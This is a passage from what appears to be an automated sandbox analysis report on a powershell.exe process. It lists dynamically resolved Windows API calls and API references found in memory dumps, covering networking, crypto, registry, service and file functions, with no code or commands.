"GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter shutdown (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfo (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter SetNamedSecurityInfoA (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RemoveDirectory (UID: 00000000-00004464) "powershell.exe" called "GetProcAddress" with a parameter RemoveDirectoryW (UID: 00000000-00004464)34:T7fe6,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp, 00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp, 00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp, 00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall2"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: 